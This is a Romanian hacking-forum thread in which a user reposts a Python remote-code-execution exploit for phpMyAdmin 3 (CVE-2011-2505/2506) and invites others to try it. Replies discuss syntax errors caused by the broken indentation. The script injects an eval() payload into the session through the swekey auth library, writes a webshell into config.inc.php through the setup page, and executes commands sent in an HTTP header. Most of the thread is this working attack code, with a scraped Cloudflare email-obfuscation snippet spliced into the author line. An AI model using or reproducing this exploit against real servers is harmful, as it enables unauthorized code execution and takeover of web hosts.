phpMyAdmin3 (pma3) Remote Code Execution Exploit

[Nytro]

phpMyAdmin3 (pma3) Remote Code Execution Exploit

#!/usr/bin/env python
# coding=utf-8
# pma3 - phpMyAdmin3 remote code execute exploit
# Author: wofeiwo<wofeiwo@80sec.com<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>>
# Thx Superhei
# Tested on: 3.1.1, 3.2.1, 3.4.3
# CVE: CVE-2011-2505, CVE-2011-2506
# Date: 2011-07-08
# Have fun, DO *NOT* USE IT TO DO BAD THING.
################################################

# Requirements: 1. "config" directory must created&writeable in pma directory.
#               2. session.auto_start = 1 in php.ini configuration.


import os,sys,urllib2,re

def usage(program):
    print "PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code
execute exploit"
    print "Usage: %s <PMA_url>" % program
    print "Example: %s http://www.test.com/phpMyAdmin" % program
    sys.exit(0)

def main(args):
    try:
        if len(args) < 2:
            usage(args[0])

        if args[1][-1] == "/":
            args[1] = args[1][:-1]

        # ??????????token??sessionid??sessionid??phpMyAdmin???????µ?
        print "[+] Trying get form token&session_id.."
        content = urllib2.urlopen(args[1]+"/index.php").read()
        r1 = re.findall("token=(\w{32})", content)
        r2 = re.findall("phpMyAdmin=(\w{32,40})", content)

        if not r1:
            r1 = re.findall("token\" value=\"(\w{32})\"", content)
        if not r2:
            r2 = re.findall("phpMyAdmin\" value=\"(\w{32,40})\"", content)
        if len(r1) < 1 or len(r2) < 1:
            print "[-] Cannot find form token and session id...exit."
            sys.exit(-1)

        token = r1[0]
        sessionid = r2[0]
        print "[+] Token: %s , SessionID: %s" % (token, sessionid)

         # ??????????swekey.auth.lib.php????$_SESSION???
        print "[+] Trying to insert payload in $_SESSION.."
        uri = "/libraries/auth/swekey/swekey.auth.lib.php?session_to_unset=HelloThere&_SESSION[ConfigFile0][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA&_SESSION[ConfigFile][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA"
        url = args[1]+uri

        opener = urllib2.build_opener()
        opener.addheaders.append(('Cookie', 'phpMyAdmin=%s;
pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID=%s;' %
(sessionid, sessionid)))
        urllib2.install_opener(opener)
        urllib2.urlopen(url)

        # ????setup???shell
        print "[+] Trying get webshell.."
        postdata =
"phpMyAdmin=%s&tab_hash=&token=%s&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save"
% (sessionid, token)
        url = args[1]+"/setup/config.php"

        # print "[+]Postdata: %s" % postdata
        urllib2.urlopen(url, postdata)
        print "[+] All done, pray for your lucky!"

        # ??????????????shell
        url = args[1]+"/config/config.inc.php"
        opener.addheaders.append(('Code', 'phpinfo();'))
        urllib2.install_opener(opener)
        print "[+] Trying connect shell: %s" % url
        result = re.findall("System \</td\>\<td
class=\"v\"\>(.*)\</td\>\</tr\>", urllib2.urlopen(url).read())
        if len(result) == 1:
            print "[+] Lucky u! System info: %s"  % result[0]
            print "[+] Shellcode is: eval(getenv('HTTP_CODE'));"

        else:
            print "[-] Cannot get webshell."

    except Exception, e:
        print e

if __name__ == "__main__" : main(sys.argv)

Nu l-am incercat, pe cine intereseaza sa incerce.

Sursa: phpMyAdmin3 (pma3) Remote Code Execution Exploit

[xaren]

L-am incercat acum 20 minute dar da erori de sintaxa

[Zatarra]

L-am incercat acum 20 minute dar da erori de sintaxa

Iti da erori de sintaxa deoarece nu e aranjat bine. Rearanjeaza`l si apoi ruleaza`l. Python e foarte strict cand vine vorba de sintaxa. Imi place la nebunie treaba asta deoarece doar cei care cunosc codul stiu sa`l foloseasca. Daca bagi 5-10 tab`uri in cod se pierd toti skizzi.

On: Nytro stiam de el, am sa`l probez zilele astea.

[xaren]

Daca bagi 5-10 tab`uri in cod se pierd toti skizzi.

Te referi la mine ?